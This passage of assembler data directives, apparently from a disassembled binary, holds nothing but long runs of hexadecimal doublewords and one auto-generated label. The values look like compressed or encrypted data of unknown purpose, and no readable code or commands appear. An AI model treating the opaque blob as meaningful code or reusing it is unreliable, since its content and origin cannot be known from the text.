dd 0D7F7A340h, 48342739h, 950B204Ch, 0BD03AB7Ch, 6484F43h
dd 0BFFDEC96h, 0E34026FFh, 2E2A7EBBh, 8DA05E79h, 2004D0F7h
dd 0CD8BC967h, 67EA60AEh, 65098B27h, 0B16C9D68h, 0FC2F3B3Ch
dd 7BC06BC7h, 821F964Ah, 625405C0h, 2745D1A5h, 8CC1E763h
dd 0FBD86A94h, 6DFC9554h, 3AE950E1h, 14D7E8A7h, 200E90E5h
dd 8019EB6Ah, 0F50616CAh, 0F253EAD8h, 30F614C2h, 82104CD1h
dd 5DEC40B9h, 0C70422B8h, 50D051EBh, 0E962DCBBh, 0D653AE2Fh
dd 90DD6B1Ch, 9923D259h, 57588FD5h, 0AA76AB44h, 8766B020h
dd 3630E7F5h, 86F8BDC8h, 6BE0FE95h, 0B0842904h, 524F5810h
dd 0E9A836F8h, 0E2220327h, 0B40FC85Bh, 51F62554h, 21078588h
dd 0E1E16F94h, 0FE053AFAh, 0D7F15540h, 1D9D4F16h, 218AFACh
dd 0F9BB5823h, 26661113h, 0EE0BED01h, 0A33BD999h, 64680B0Bh
dd 52E7DE41h, 0C9B7D15Dh, 981B4204h, 0A240CE1Dh, 993B84Bh
dd 52BF2662h, 0E90EEFF9h, 0BD8C37ECh, 9D3413D4h, 0E9374479h
dd 0BAE2B02Eh, 0DC4AB805h, 9702424Ch, 40F11CE2h, 187DEA80h
dd 0C67F42Fh, 74507540h, 0DA09F2C6h, 0D6C764C2h, 99B206Eh
dd 1FC020BBh, 8E1A87Fh, 95B85813h, 786C01D2h, 3E1B3B0Fh
dd 78A269C4h, 0A42234CFh, 0DA773132h, 0E46A4F4Dh, 0E403C2DFh
dd 0C1758603h, 0B5CA10EAh, 0AB4CF7h, 0E870FEC6h, 5E846817h
dd 0AFA48C41h, 5D490495h, 4B018FFFh, 0FEDF74BAh, 53709A84h
dd 0BF555954h, 0BE58E851h, 0A26A03C8h, 0CCF68140h, 92B90D5Bh
dd 38843E25h, 1A6FFD54h, 0A72DEFh, 0ED6FF6B5h, 4B7DB046h
dd 0A425AD4Bh, 1B3538E6h, 99CDEB0Dh, 680CF033h, 7C2B20F0h
dd 99010225h, 0F22EE4C7h, 0B3E01604h, 0BBD657A6h, 954A4B23h
dd 4F3231FAh, 555E0298h, 0D6EB1551h, 6A9E836Eh, 0F20543A9h
dd 0D3502DEDh, 6DC530C0h, 59B127F0h, 5107355Eh, 8772FDB9h
dd 0B6F1C117h, 0A011D8D0h, 0E8282394h, 940CC13Dh, 2F2C593Fh
dd 7D9CC104h, 9721561Eh, 0BD34B252h, 5ACB6655h, 89E3B858h
dd 25AA74E4h, 81204CCFh, 9D7AD19Dh, 85A09354h, 0C87A0235h
dd 70770F37h, 0B0C5A86h, 3F004F33h, 7ECB5B2Eh, 0EDD020BFh
dd 60351CC7h, 80AF603h, 2934685Eh, 81A1CDDh, 8414091Ch
dd 0BA0AE01Eh, 0C064052h, 0E92E4E60h, 71AF68D0h, 699528D1h
dd 0E5D5A034h, 950ADBFh, 791BEB00h, 885E76D6h, 508E9603h
dd 195B9E9h, 10EC8076h, 0C4D5F4C1h, 0F2C05AD4h, 9E4E605h
dd 1DA66802h, 51665B98h, 8893B50Ch, 0DD0944EAh, 75D7038Ch
dd 0CDB97335h, 93F28759h, 602BA41Eh, 817880C7h, 16D67254h
dd 663CE7D2h, 0F24C5B68h, 52EB938Ah, 4BDA01CEh, 78F640AEh
dd 0C1430AC4h, 0D508A8E3h, 0F1763CB1h, 9801A170h, 0F5D12C65h
dd 0CD29091Dh, 7D9B1075h, 7F408260h, 68274FC3h, 1C47035h
dd 573301Ch, 68F4E955h, 0D5091DB6h, 0F2279DCDh, 8827B36Eh
dd 0FFE7173Ch, 0E9296016h, 58C2B669h, 0B7D60E9h, 0DBB47796h
dd 4BA4E912h, 2EB1C3E4h
dd 0C116011Ch, 2A7B8568h, 7682D927h, 58E9012Dh, 0E0B24DE4h
dd 7FC4060Bh, 75D95EF5h, 13E3DF9h, 0BF685BD0h, 85E66B54h
dd 22CAA96h, 33F06466h, 0F6BF82E1h, 6087BA55h, 82C982F3h
dd 0C292E97Fh, 0BA885BE8h, 0D24BDEh, 4542E287h, 6803DCCh
dd 28481040h, 0D2B04B01h, 84ECB79Eh, 459D4233h, 7EADBAD9h
dd 80CC2F9Fh, 0E04E6DF8h, 28DF3D30h, 5E7D27FDh, 68076E5Bh
dd 7F09030Eh, 0E912A1EEh, 42C847CEh, 5E63DC1h, 6723CA97h
dd 0E57193E1h, 0ADB2EA84h, 0FB567AC5h, 0CC63868Eh, 4D4FC050h
dd 0E67FE881h, 952C3302h, 80BD01B1h, 0B6524DC1h, 9DC6D8CDh
dd 0DF61E9F2h, 0F1288706h, 25FA22BAh, 0D1C4D056h, 89208800h
dd 48E3050Fh, 2196F4h, 7C1F3506h, 2D1D2194h, 13424C3Dh
dd 55562BE9h, 8CECB61Ah, 0C17C03E0h, 5A081FC6h, 68F7406Eh
dd 9802E02Fh, 0ABA00AF7h, 6E13B3CDh, 5186A4D9h, 0CCA152F6h
dd 5EB43554h, 329E483Ch, 7FEE0B6Bh, 0EED5EF89h, 0D7A55AA3h
dd 27ECB0A9h, 0CC145A3h, 256D6B4Ch, 3A166EBBh, 0B5907701h
dd 2F7CBC05h, 0AE612258h, 0B22D00C4h, 78497543h, 0C7BB4CE2h
dd 79AD2352h, 30FB93BCh, 8638D91Ch, 80E4FECFh, 0A650EF39h
dd 0C20800F7h, 1C661EF8h, 347D7DFh, 2F48EFCFh, 0AF5C0A7Bh
dd 2B331A32h, 0E42F45Ch, 0E507D5C4h, 0BDB28E58h, 0E9DF050Eh
dd 0FDE29725h, 0E97468D6h, 5A137335h, 0F509AD04h, 0D87535C8h
dd 3099DA29h, 0CDFE57D2h, 0EC0F494h, 81D1739Fh, 0F28062B2h
dd 0E90683F8h, 76D58851h, 77AB25AAh, 3B6911E9h, 9F89F0E0h
dd 2E560681h, 19CC3A01h, 2F4664F5h, 0B6BC80F7h, 459F293Dh
dd 0B3E9E262h, 7355156Ah, 0C20449E2h, 7868054Ah, 0EE7164AEh
dd 0A07E9B9Dh, 0C35B2B65h, 58FD7819h, 693EF66Ah, 2F64773Dh
dd 0C9581130h, 0B191EEEh, 0D6294E6Ah, 2F088788h, 8382ABFEh
dd 0DD369F4Ch, 0FC97B114h, 8A54AFF3h, 527CE49h, 0D2149DBBh
dd 4AB20E1Ah, 81151F24h, 50010293h, 0C65E9113h, 57E23E4Ah
dd 6DA4BD80h, 0F7022228h, 0FEE957D5h, 0FEDDADAh, 27D334C9h
dd 0DE58F269h, 0ADBC26B4h, 9AD0D4C7h, 4177A9C5h, 387C4AFFh
dd 0D6B4B71Dh, 1585338h, 0A50C105Eh, 0B1097821h, 346D779Ch
dd 37E84616h, 0EEA3E394h, 0DDF86B4Eh, 0E3DDE617h, 838E4AC0h
dd 0B9A3DA40h, 9EA03B4h, 0F6B030E2h, 43970BA5h, 5FD2DC3Fh
dd 134E7558h, 66497BFCh, 46851615h, 5F9758Ch, 0E9288806h
dd 125F0DEh, 0FB2DE807h, 5D40B056h, 13627505h, 55970E4h
dd 0C0D417BDh, 8EE9C698h, 79E13670h, 0E6EAB43Fh, 0D9E9C2ACh
dd 0E919AEBh, 57AA0CDBh, 61E316F3h, 0B5560401h, 0EB2D0027h
dd 0F50221B2h, 0A05A4C72h, 0E60EC0B9h, 0BECEFE06h, 0F3712031h
dd 0E83BD16Ah, 37682E5Eh, 1B292468h, 0E9506026h, 14E0AE0h
dd 7B0F1D01h, 863B28CCh, 0F6C8077Eh, 68478201h, 9471146Fh
dd 0C930D58Dh, 5CB57280h, 35586E82h, 8D5106A2h, 0AB0806A7h
dd 0C4614E5Eh, 0E907059Ch, 1DD2E81Dh, 43CB5457h, 0D33A7D44h
dd 0AC913B02h, 75BBBA00h, 31402698h, 0B6BC0961h, 41CCEED9h
dd 34E8C156h, 6035C242h, 0FF810554h, 40687121h, 0AE62F46Eh
dd 8943CE7Ch, 5505A4DBh, 1B57CBF2h, 0E9D3D183h, 1F63C598h
dd 0D8ADC13Ch, 0DE9D5B50h, 0F6E9D083h, 310AEF65h, 0D9F987AAh
dd 585736E2h, 28B61313h, 0EA4D0BF0h, 33829E29h, 57003422h
dd 62085568h, 0B5B34C9Dh, 4C157809h, 5A27E7FAh, 0D4586F7Ah
dd 808F18E7h, 26BCBE24h, 8076706Eh, 3B630E31h, 745D3FE9h
dd 0ADC83BFDh, 5E6A41E7h, 0C958216Eh, 0C80101B3h, 1394CB2Eh
dd 13123B35h, 0A6994E8h, 0E90615DBh, 12BE2082h, 0B15D5955h
dd 0A5AD3E6Eh, 57E508D3h, 0A2685A02h, 0BB99A263h, 9707A77h
dd 161B4C56h, 0C78070FEh, 93FB95DDh, 0F0FABD09h, 587DDA3Dh
dd 5BD80ACBh, 9C029A52h, 754BE260h, 0FCA09082h, 0BCC3256Ah
dd 8B4E7FF9h, 0C4E85D6Dh, 2FE4FD54h, 0C8809222h, 280AC7A0h
dd 4809DEE8h, 0D664556Dh, 1F582B59h, 0FAD208B1h, 6866F341h
dd 44D224BBh, 0E5123361h, 0C1B9CB49h, 0F10EA787h, 438842C6h
dd 0C1EEF4FCh, 31069FEAh, 28FA6A70h, 0A008B850h, 14117FA9h
dd 0E0E937E0h, 90760125h, 222D89EFh, 4CF368A0h, 35B626E8h
dd 0E0B70824h, 58168124h, 18847F10h, 5A4E1866h, 0CFC85B89h
dd 0A8E90A31h, 0BA812A69h, 71B01762h, 194DB881h, 834A0AEBh
dd 143F30Eh, 41B60349h, 0E97FD263h, 9CDA97DAh, 5A50A14Ch
dd 68E06AFCh, 18B757C3h, 0B31C80ADh, 7A12B7h, 0B6B92F1Ch
dd 0D01DFF88h, 14C0C181h, 87E979A9h, 0FD31CE08h, 0CCE316E5h
dd 0ACA056C8h, 3932215Bh, 0E1C51433h, 31326F7Bh, 176C6883h
dd 1CFF0987h, 0E6AAC46Ch, 0D0E9034Fh, 3A370623h, 0E61FF45Ah
dd 5D880340h, 2884E2D7h, 17F4AEFDh, 1685BED2h, 0F4B5D25Eh
dd 0F927805Eh, 45FDE93Fh, 0BD5500D8h, 1CC514Ch, 52C9019Dh
dd 393FFBAh, 0D9201329h, 91E00577h, 405FFE4Fh, 0B616C38Bh
dd 40356400h, 0F746A276h, 0E8D10DD0h, 6CEB9AE9h, 0A8417C42h
dd 0A6B59642h, 0E62E9793h, 0B2BE0456h, 0C170784Ah, 0F91D7E49h
dd 6E0C8307h, 202F3677h, 0F7F631F6h, 0F4341427h, 3B190A5Dh
dd 27E281C4h, 200F784Bh, 7A13DB29h, 1BA8720Dh, 1DA7BD5Fh
dd 0B2C922EBh, 0BA218069h, 83726378h, 0AF92560Eh, 0F0E05784h
dd 9908753Dh, 18DC826Eh, 0C8F7766Dh, 95ECD490h, 0CC307C65h
dd 0E22B34A9h, 23422468h, 0CB59C144h, 5055C6D4h, 1F55C87h
dd 524B82Bh, 0EA773C68h, 0DF4374CAh, 9A63214Bh, 7D5D3DE8h
dd 6FF40589h, 0F8D8A10Ch, 80216630h, 0B04F9B9h, 0CA31987Ah
dd 0DBEBBDC0h, 0CB474C6Bh, 0CEFD324h, 0C2919D48h, 0B42C0F09h
dd 25445C07h, 0AD552BB2h, 90311DE6h, 0DE03FC2Fh, 0C7DEC649h
dd 0AE5C16B0h, 85822374h, 9D849419h, 31BA69A0h, 2414FD5Bh
dd 0F0E2D1h, 49FAB65Eh, 17FBB951h, 0EC0A8E4Ch, 361D023Ch
dd 2CCF0122h, 0CAB75911h, 0D0170D88h, 34E9DE40h, 837ABCE5h
dd 9A237CEh, 0BD547BDAh, 6A415017h, 14911ED2h, 0C1AAB03Eh
dd 40014514h, 5C0B05F8h, 0EEF6D0Dh, 1861813Dh, 0E6399D07h
dd 1BE70655h, 51339892h, 52E4BC89h, 6D6EBD21h, 0DEE9DAB4h
dd 0DF8927B6h, 792D07DCh, 0DE894F72h, 0DFC20977h, 99805DC4h
dd 719808E7h, 0E9564204h, 59095B83h, 5CE592F4h, 0FD53E949h
dd 6DAD6B02h, 9C881C55h, 46A8CFC0h, 718AC2AFh, 0F3AE12C0h
dd 89524885h, 0B35B7039h, 366805E1h, 101EF36Eh, 0A15B220Fh
dd 53728E47h, 8027EB49h, 0B63EF09Eh, 26E9140Ah, 44D262B5h
dd 1402228Eh, 60672549h, 1619BB49h, 0AA18DB61h, 69303E13h
dd 9537BC68h, 0CCD740C6h, 1DC774BFh, 132D2CA7h, 0F7340016h
dd 42708B02h, 0C20F5FB0h, 0D0D56150h, 55F6706h, 89020C4Eh
dd 18B253Eh, 8264E0D6h, 629A946Eh, 5703955Fh, 80BEB455h
dd 81EF87BFh, 3D5BCF05h, 6DD00B1Ch, 64A7029Ah, 88FF3465h
dd 32F6ADCFh, 71F02C4Fh, 0E908A0EAh, 5E1E4C9Fh, 426E68C2h
dd 26853D90h, 0E9099Eh, 1D1F1320h, 91BA0E66h, 0E8361C75h
dd 495E60D8h, 90469364h, 0EF009B9h, 8BD72656h, 8200F0E3h
dd 46EC550Ah, 42E894Ch, 0F757E958h, 38D629BDh, 765FCE1Bh
dd 68C2D0FCh, 99EA4886h, 844475Dh, 0E625C7CFh, 5DE826B6h
dd 0D7A30867h, 68E2E220h, 13BF5F48h, 0F8B2232Fh, 89FC7402h
dd 21DF09D3h, 23ABCF69h
dd 12B929CDh, 7D45F1A7h, 5F2B91A7h, 53C0CD6h, 5BBD4B1Ch
dd 5CB00E70h, 2D6E03A8h, 9ED721Fh, 36565EA8h, 0BF0557Ah
dd 0E978E51Ah, 71B29030h, 1E6B2617h, 806F0025h, 0EF3173ECh
dd 82A5E92Fh, 76515DFFh, 0F2896566h, 660F2EB9h, 0BA9EFFA5h
dd 4DD12D04h, 98FC0285h, 945B0740h, 53CF92D3h, 27E4A3E1h
dd 0F91C775Ah, 89018890h, 0E911C956h, 819D7E50h, 4492C8CDh
dd 3E2C005h, 4B9FCABBh, 49F9A184h, 2A00CA6h, 0E912370Ah
dd 0CCEDA33Fh, 0D6ADBCD2h, 5EFEB8E0h, 2BB7894Eh, 0B25AEECEh
dd 9EA8C232h, 0FA1AE0A9h, 8568125Fh, 0F3F4A478h, 0D4476681h
dd 4C10B2D2h, 96730A8h, 5345C657h, 1405CD2Dh, 13098E0Dh
dd 30305368h, 0DADFE940h, 181679Eh, 25678A0Dh, 5EA66520h
dd 1090CA44h, 0BD020C21h, 396C4BB7h, 0E57A485Dh, 6B371659h
dd 0C4AD51h, 3817DAC5h, 4BD5E949h, 0EA3524C9h, 27729D8Fh
dd 5BFEF1A4h, 6356FA6h, 77839E81h, 48D17360h, 0BD03A2E7h
dd 0C17B9306h, 2D84BDB4h, 0E970FC54h, 6ABCA9F0h, 4FF9C6C3h
dd 2553AB1Ch, 53B80F80h, 0B4167CB2h, 340A48F3h, 0F758BB0Fh
dd 5319F31h, 0B8E95EAAh, 389DABDAh, 0AB34D46Ch, 6475371Bh
dd 2121AB02h, 0DC3D0C8Bh, 52B70E96h, 0DD022359h, 1D14E75Ah
dd 12A81E9h, 1282EAEBh, 0B17B09C6h, 0D7B37A3Bh, 4650E84h
dd 84BFC82Dh, 57980E8Fh, 50BD5C90h, 360341EFh, 1A0D099Fh
dd 3530B04Fh, 0EAB904E2h, 8BC52979h, 6BE9086Bh, 0B17D2752h
dd 704557A8h, 1E76708h, 0A256A3B9h, 89C57B34h, 0FB309D0Bh
dd 48E9A095h, 1609F202h, 3120FE28h, 3FCD8106h, 80E5D3F3h
dd 0B01FE95Dh, 0B16225BEh, 0AD3C0CF1h, 60777F0Eh, 481D374Dh
dd 0C56B0798h, 0A3211670h, 0D4F1033Ah, 0E9F08A27h, 7834CB2h
dd 5F1BBE68h, 5B9BB770h, 123C43F9h, 99F8FF4Fh, 5859EACCh
dd 0C5905B52h, 0DF04D028h, 28E4C5E9h, 50111CC7h, 0E702BB92h
dd 2B4C5174h, 2FBA6A40h, 0E4FBF32Fh, 3DD69D07h, 7AF0A492h
dd 56D1B75Ch, 0ED97C08h, 0DAEFD689h, 0E7288795h, 75C40C81h
dd 0B3D077CAh, 7FAA331Bh, 9818980Ch, 2AF9A146h, 9F5B51CCh
dd 0F50507DAh, 25845FE7h, 8FCA8E01h, 0E142FECFh, 5880AD2h
dd 80679333h, 4D2A99CBh, 0AE2D502Dh, 1A4FA063h, 0B055A9Ch
dd 0D636C48h, 720695Ch, 5A129AD1h, 6FE98545h, 2DC113E0h
dd 917006E2h, 9F40231Dh, 94E38181h, 0B0CBC432h, 0B817CCCBh
dd 1B73A06Eh, 0B1DD0639h, 42DB23E9h, 88E18197h, 0BA445A08h
dd 0E94A47AEh, 8764DB8Eh, 425D7697h, 5901D8D7h, 172E4D68h
dd 9F28FE6Eh, 0C82F4B62h, 902E711Ah, 8B177E5Dh, 250239E4h
dd 0A05DE6D1h, 8F8B885h, 0A8295AF2h, 0AA1E8419h, 85EB8004h
dd 0C784FAF4h, 4F68F0D8h, 1C81E67Eh, 0B1C32AB5h, 10D1F6B8h
dd 26132D34h, 0D4057846h, 0BEC534h, 5CD56B37h, 0DDA001DBh
dd 888030FDh, 0C6F69FE8h, 24DCA73Ch, 3ADDBEEh, 4DE8CF5Ah
dd 0E53CB396h, 2E65B6ABh, 4C007D51h, 0E933BF5Bh, 18E160C2h
dd 377F9CBEh, 8AB83202h, 57738C75h, 74D0A722h, 4ED90103h
dd 5494217Ah, 261BA446h, 0BE28E143h, 0D05B12A3h, 48BFF836h
dd 0EC3E2526h, 98D8B59Ch, 0D377F9A2h, 8DDEAFC1h, 7E42E7CAh
dd 8793D754h, 2F3C17B8h, 0F82096A4h, 0E68925C2h, 0EC6BBAFDh
dd 0ACDD592Bh, 8B1BA25Eh, 50BA555Ch, 6BE6D15Dh, 7B588D7Ch
dd 28F04C88h, 0EBEE7213h, 0A35D7431h, 0A2BF0104h, 2F01B41Ah
dd 4EFDA9A5h, 0C68AB64h, 0B3912A1h, 0CC1DEDB0h, 0E9043208h
dd 57B934F2h, 7F8A8586h, 741C348h, 0DBF580BEh, 0DEC1EB04h
dd 0A66FF61Ah, 3D845B18h, 3B8FE3BEh, 7352271Ch, 2CE961E3h
dd 85562ADEh, 60296722h, 0BAFB8C6Ah, 7033EC07h, 8CC59990h
dd 0C311D37Ch, 900087B2h, 5E702DEh, 0B0386ABFh, 0E9D8082Eh
dd 542F5A51h, 0EBE1408Ah, 0CC0FD25h, 8636EF57h, 5B5A0953h
dd 0B05FD021h, 0D2236092h, 0C6F6183Fh, 54304430h, 0E0620C12h
dd 210612BCh, 3F04EBD6h, 31E24910h, 6A185E25h, 5A5144E9h
dd 1F12F876h, 0F40C3161h, 0CC60AF40h, 382B41C3h, 2D7F5656h
dd 987EC65Eh, 92AD336Bh, 0AD8CF74Fh, 755E2D42h, 8848B012h
dd 332646FEh, 9205AC03h, 6F813C58h, 0DD2E9D15h, 0BB6D4049h
dd 2B130A50h, 6507E5C1h, 0EB7F2AEDh, 690CD442h, 1E58C38Bh
dd 5C0DD417h, 6E9E900h, 0EA0C9466h, 287063CAh, 5605505Dh
dd 0F593978h, 0BB05B0EDh, 0A8628263h, 1D601011h, 0BBFCB525h
dd 0AD84B426h, 7388D831h, 8D2B4E88h, 0A4B807B5h, 0CBD0AC22h
dd 141F2155h, 9620A70Eh, 4E0840E8h, 9D09D290h, 4D864B42h
dd 1BCF0D42h, 4FACE053h, 550E3A9Fh, 0DA8AABD1h, 0A040C2DBh
dd 0C15F9E72h, 1A43970Ch, 0D1013005h, 6ACD5118h, 26A78A0Ch
dd 9DD02E83h, 8448259Ch, 3A5B8F96h, 13121F96h, 0E0736A07h
dd 3D045C1Fh, 0FD0112C3h, 0E90D0810h, 30B10F5Ah, 194CA248h
dd 1BB88191h, 0E6821C60h, 682A7233h, 9FE3B5Fh, 5A6F305Ch
dd 0F778B302h, 0B7FDEBD7h, 3125F2F0h, 0E4EDFBC6h, 1F02E67Ah
dd 0E00BF329h, 0F7312747h, 54E06E75h, 0ECFD4F68h, 1AB8C019h
dd 252C934Bh, 0E1C8C8E9h, 1B1E19CDh, 7BCC0613h, 16C361FDh
dd 0EB26FA7Fh, 0B9F3C143h, 2961E191h, 0C3ADC004h, 201635C9h
dd 538AF289h, 73F9BF00h, 47E94C2Ch, 0EF6F9F61h, 3CF47831h
dd 6171ED01h, 0B5EB0804h, 0EC70592Eh, 0EBC99C16h, 0A112F2C8h
dd 673F5E39h, 5D62A3D9h, 0EBB7EE84h, 0A9EB0112h, 19169D28h
dd 0BDDE418Ch, 0BE5D6C19h, 0B1131229h, 599D6790h, 0C83C484Bh
dd 0F901EF4Eh, 0DD25875h, 2DE15ACh, 6DF83591h, 3DB255E1h
dd 0DCC9DEB8h, 4FE4F694h, 957EF70Bh, 1D10C580h, 905B072Dh
dd 262C019Eh, 47687927h, 0A8765462h, 88805F58h, 9706302Eh
dd 0B077B2C0h, 4F586880h, 3996377Dh, 5C2F277Ch, 0D384FACEh
dd 2B4C820h, 1AE83598h, 0EB9AF012h, 41EB52C4h, 51664608h
dd 752C3F2Ah, 228290EBh, 0B2B00B92h, 755F3514h, 2D3E02A4h
dd 5D297DFEh, 7C693ED1h, 9F132045h, 344BA86Ch, 0BBB471AEh
dd 61F73BD3h, 16589710h, 0B187EB87h, 173F884Ch, 85DC7D64h
dd 237E01C6h, 200E9478h, 5981EAA2h, 9225B92Fh, 66B9A5FCh
dd 49BA4E66h, 0E3D04671h, 1161E980h, 74483927h, 5B0802C6h
dd 0C44AFDE9h, 6610D0D6h, 860135Eh, 1B25B19Ah, 0D607DA44h
dd 0D02D4740h, 5F53B027h, 8A88B194h, 0B9291274h, 37D40287h
dd 72016906h, 5D5B58B7h, 1CCDEE10h, 0C89FF989h, 6389F125h
dd 7119C1E8h, 49985818h, 38DAA9ADh, 7CB9FDFAh, 0E156AD02h
dd 0E65EE15Eh, 80220205h, 8B40F5DFh, 0B911D7Bh, 822F303h
dd 0C3C4D955h, 0E8B92C87h, 294C018Ch, 8F286AD9h, 306900BFh
dd 0CF294160h, 0C6466E9h, 0A9C15B18h, 3E202159h, 0E381054Bh
dd 0C05364CEh, 2048F311h, 264524Ch, 0BF2175C6h, 0DF285768h
dd 55792F08h, 5631200Ch, 0D0292E5Ah, 4A5810F4h, 1FE698F4h
dd 52BBD4EAh, 2AB2B1BCh, 1797CDA4h, 34CE64h, 3AD7AF4Bh
dd 90E93180h, 68096D54h, 3EB060BEh, 828B7Ch, 7D7E0889h
dd 6F0CC03Ch, 50543301h, 5180575Ah, 9803E65Fh, 0DDCD1E5Fh
dd 9562E4Dh, 9877270Ah, 0C0D362C5h, 65AEF751h, 831F0D34h
dd 3D8B01EFh, 7D2D2BF2h, 6C748E01h, 98BE3066h, 0B7ECF941h
dd 50B238ECh, 285BFA1Ch, 0D6A6E881h, 0CA6EA265h, 0E905A659h
dd 0E1F2D4BEh, 7001EC58h
dword_4EF14C dd 292D2364h, 8D4A0CBh, 0C5055903h, 0F3759C77h, 710CDD8h
dd 6B9948C0h, 0B33823A6h, 7789BFE1h, 899F8136h, 9ACD7714h
dd 0FA81F317h, 823FC328h, 44044DC4h, 0E30C310Ch, 0E1F0FF81h
dd 0B2520799h, 0A5C2FEE5h, 225BC4Eh, 6F2D07BDh, 4506414Dh
dd 506A6h, 0B8BA83EDh, 0EE4A09EAh, 0C60085A6h, 0DA7B072h
dd 0BA176BBDh, 68EE5827h, 172FE905h, 78F85615h, 71AE4003h
dd 2704CEBEh, 0B281B03Ch, 9D3AD4A1h, 0E990184Eh, 66C6952Dh
dd 25F87AE4h, 7A305D90h, 18B54481h, 0BCCDE9C8h, 0DB2C077Ah
dd 14508353h, 0AEC22B00h, 5905C527h, 0BF50B729h, 1D26EE01h
dd 0A8F1E96Bh, 82D1B62Eh, 0D1011063h, 6F18BD60h, 1AC53333h
dd 1D3BFDEEh, 0ED507829h, 0C89D5808h, 726E9276h, 0C01EDDD2h
dd 0E930EF78h, 66B560F4h, 85F19F7Fh, 2912063h, 4DE1C669h
dd 5055974Ch, 0BA5634DCh, 4EB3AA40h, 0A842E985h, 0ECB8029Ch
dd 0DD2AAC32h, 5D5A7A64h, 521010E9h, 4AF95A2Eh, 6AD80973h
dd 0C2003DAAh, 0D2B1A76h, 5BE0314Bh, 0EF71D4FBh, 0EF585416h
dd 0B4A7CD78h, 0F9290FECh, 0DA1CAA72h, 6337D7C4h, 0D2480FAh
dd 0E9E41840h, 9E002E4Fh, 47232D58h, 433E4819h, 0E9BC714Ch
dd 0B973D72Dh, 0AF82C234h, 45766858h, 41E20FDEh, 89BD0F0Ah
dd 0A3207ACBh, 3F745F28h, 0F612A2B8h, 87A8124Ah, 2A470801h
dd 0AD94E925h, 0C736804Dh, 0FB966843h, 7258EFD8h, 90B44ED8h
dd 74D3EBFAh, 0FB5B826h, 0D1788C07h, 55AFE9C2h, 0EEFC8B0Bh
dd 4200F66Bh, 0DD5AC3E9h, 9C1812EAh, 1F6C69AAh, 38AE0B42h
dd 1442EBE9h, 684DB441h, 89B9008Fh, 8164C321h, 3BBF0CF1h
dd 520C5CB8h, 61653E0Ah, 0EF81C489h, 7C02487h, 6D50CA47h
dd 0F9D11D19h, 3DC46680h, 0FA2120DEh, 2C2C6C0h, 5DB47FE3h
dd 0F24EB589h, 8E5E12FEh, 573194E7h, 53198D96h, 4400F2C5h
dd 71653C60h, 5A97685Eh, 6FA3302Ah, 0B9904D10h, 6012F15Eh
dd 201A2DEAh, 7FE1C187h, 0BB4BADE7h, 69651728h, 445F3DFFh
dd 0A3EE05C5h, 0C1F4A2DDh, 9883AF33h, 82F8F7A3h, 23A33E73h
dd 544025ADh, 65188ABBh, 4E30571Eh, 669CC1DDh, 2A75A868h
dd 4826A0BDh, 58313EDFh, 69BCF8FAh, 8E8B0494h, 0C0C62Dh
dd 122205D1h, 10CD2925h, 590908F6h, 8AB0E989h, 0D69DCD01h
dd 0FEEC59CBh, 0AF50655Fh, 0E958E5D6h, 606A4184h, 181FBAB6h
dd 0EE24536Bh, 5A459901h, 3058927h, 6528F303h, 0B008E9C8h
dd 42F6C1CFh, 89E0C093h, 97F178E3h, 0B95847F6h, 0A12200AFh
dd 3ABD554Bh, 405F9B57h, 9E4DFF0Ah, 75B84225h, 5997875Bh
dd 156077DDh, 96D8B1C2h, 6B392D5Fh, 0E36F19B5h, 7BEEC009h
dd 0B8751E52h, 352C0451h, 0F829119Eh, 23D6261Dh, 0E9250B20h
dd 28C1603Bh, 125A70D0h, 0E8D204D8h, 0F8CC3D56h, 5145E92Eh
dd 58C53187h, 1CFED187h, 81AC525h, 5000AC8h, 5FA41B6Bh
dd 1D04C01h, 0C0290840h, 615C0568h, 55EC2CB0h, 0EB48E974h
dd 34488730h, 0DE377892h, 2AB05164h, 0D8BEC584h, 0FD60E078h
dd 0F27DA277h, 452D814Ch, 259F0807h, 0A1B85800h, 6BE109h
dd 1D365505h, 3F59E912h, 7CBB37A0h, 10223548h, 5D18FF9Fh
dd 3D13A645h, 2105C2B3h, 0A00D2841h, 2F44107Ch, 28890A12h
dd 0F3D11528h, 0F0B24C64h, 0E000B428h, 808EB652h, 4E287AF6h
dd 173CB6F4h, 9F3950E4h, 0EF0420EDh, 9AC1DBE4h, 9D61BF8Dh
dd 80B534E3h, 0B586F53Fh, 0A570AA49h, 245A5D52h, 2CBD5F7h
dd 4DFC5E7Bh, 0CD99DCD8h, 60315569h, 2C7A90DDh, 4AD20810h
dd 4DD53AFh, 0AC4D31B2h, 1CA8C4AAh, 13E41EFCh, 2E428E8h
dd 9B205441h, 0D8505FE3h, 781125A2h, 21372AD0h, 82DFD90Fh
dd 0C848FA03h, 2C186B6Bh, 1496CF8h, 72537CECh, 0C3C2DB01h
dd 79650889h, 267CCCBFh, 5B9DD716h, 721127B9h, 0EC074E7Ch
dd 24490FC5h, 80EE2B48h, 41C2CE22h, 55F4CFCh, 959C601h
dd 6414E918h, 65B7539Ch, 0BF50135Dh, 126F652Dh, 4D2DABCEh
dd 3BE5F33Eh, 0B80ABE9h, 4D545C18h, 6CCE035Bh, 5205D0F7h
dd 0B7D10F4Bh, 0E67C17D7h, 79DE01B1h, 0DD5C16EBh, 987F9EB5h
dd 3B172D42h, 21E02C37h, 0BDE7409Eh, 551AA518h, 1365C2E6h
dd 0E971500Ah, 6A084116h, 24E9A8E4h, 502BDA88h, 68010A05h
dd 0E02D5166h, 5EF6F45Bh, 0F907208Eh, 8CFA1147h, 0AFCCE9C1h
dd 20852D7Bh, 8382F9AAh, 309870BCh, 74785A0Ch, 2E25EA20h
dd 669EE051h, 4ACD58EEh, 68933071h, 3E1C02Ah, 7BF64Ch
dd 0D930BAB3h, 9D6F2C5Bh, 59E892D8h, 8C580295h, 8FE755B9h
dd 64008124h, 0E942FB5Fh, 6093B227h, 47A4765Eh, 0C39014D6h
dd 45E5D112h, 603BA0Bh, 0F22668Ch, 30F2771Eh, 4CAAC29Fh
dd 7B404B46h, 0B2E42A02h, 5DEA291Ah, 8BD0006h, 904E401Ah
dd 2CF32784h, 0CAF26FC6h, 515CBBA8h, 0F18774B5h, 1CB32E5Ch
dd 1C684C98h, 82B05954h, 120DA540h, 0BAC54EC4h, 2835EE00h
dd 0B53A46B4h, 960BF44Ah, 8296B1F1h, 76E187BFh, 0BA2F4D33h
dd 0FCDAE61Bh, 0B7405AD5h, 0E3632AE1h, 8E5C003h, 9805ED80h
dd 3C301CC5h, 0C48259EFh, 0F8B252C3h, 0FE47CC59h, 801E6589h
dd 8002E2C0h, 0D4E0C5EAh, 83D5E92Fh, 0E7EC28F6h, 0D4887E25h
